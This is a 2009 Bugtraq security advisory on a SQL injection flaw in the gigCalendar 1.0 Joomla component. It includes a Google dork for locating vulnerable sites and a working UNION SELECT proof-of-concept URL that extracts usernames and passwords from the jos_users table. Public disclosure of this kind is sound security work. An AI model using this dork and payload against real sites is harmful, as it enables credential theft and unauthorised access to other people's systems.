gigCalendar Joomla Component 1.0 SQL Injection
- To: Bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>, submit@xxxxxxxxxxx
- Subject: gigCalendar Joomla Component 1.0 SQL Injection
- From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@xxxxxxxxx>
- Date: Sat, 21 Feb 2009 19:00:59 +0100
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=20ZIFMX3aw5kQDFsfzaQddEOIMBs7oqbzY4QD7qNKw8=; b=gzO5IjUyYCMP356/tjTZ44/wJ3DNfr2BuL0UD54uV2P7IO41NrAHtjMgQ9h5NAyzm9 rKHgEmkfRDZt6sfEzbiCyldtvPEC+hJ/Ux0t6YkzJ1xx7yXVFl2uFJkTVMef2szHnx6A F9cS5SX0RQyJeXxApn4Rax71rrPVsUXgrOf9c=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=RbM6vaqx+oWxCvl1DuYHVAVA5EBLmw+hfH3zSCqlBUCngwR+Obv5ttCCCODJObdANx P1+Y562aZs5cn+XfHdpiI6ZI2uONTO2At6VMV7WHUUE0KevdE9T5uXHg2nvl2326S7X/ F3IZwGXvB80AoS66I+ocELulXKz8I4f8kUMfw=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
******* Salvatore "drosophila" Fresta *******
Application: gigCalendar Joomla Component 1.0
http://joomlacode.org/gf/project/gigcalendar/
Version: gigCalendar 1.0
Bug: * SQL Injection
Exploitation: Remote
Dork: inurl:"index.php?option=com_gigcal"
Date: 21 Feb 2009
Discovered by:Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
e-mail: drosophilaxxx@xxxxxxxxx
*************************************************
- BUGS
SQL Injection:
Requisites: magic_quotes_gpc = off
File affected: banddetails.php
This bug allows a guest to view username and
password of a registered user.
http://www.site.com/path/index.php?option=com_gigcal&task=details&gigcal_bands_id=-1'
UNION ALL SELECT 1,2,3,4,5,concat('username: ',
username),concat('password: ', password),NULL,NULL,NULL,NULL,NULL,NULL
from jos_users%23
*************************************************
--
Salvatore "drosophila" Fresta
CWNP444351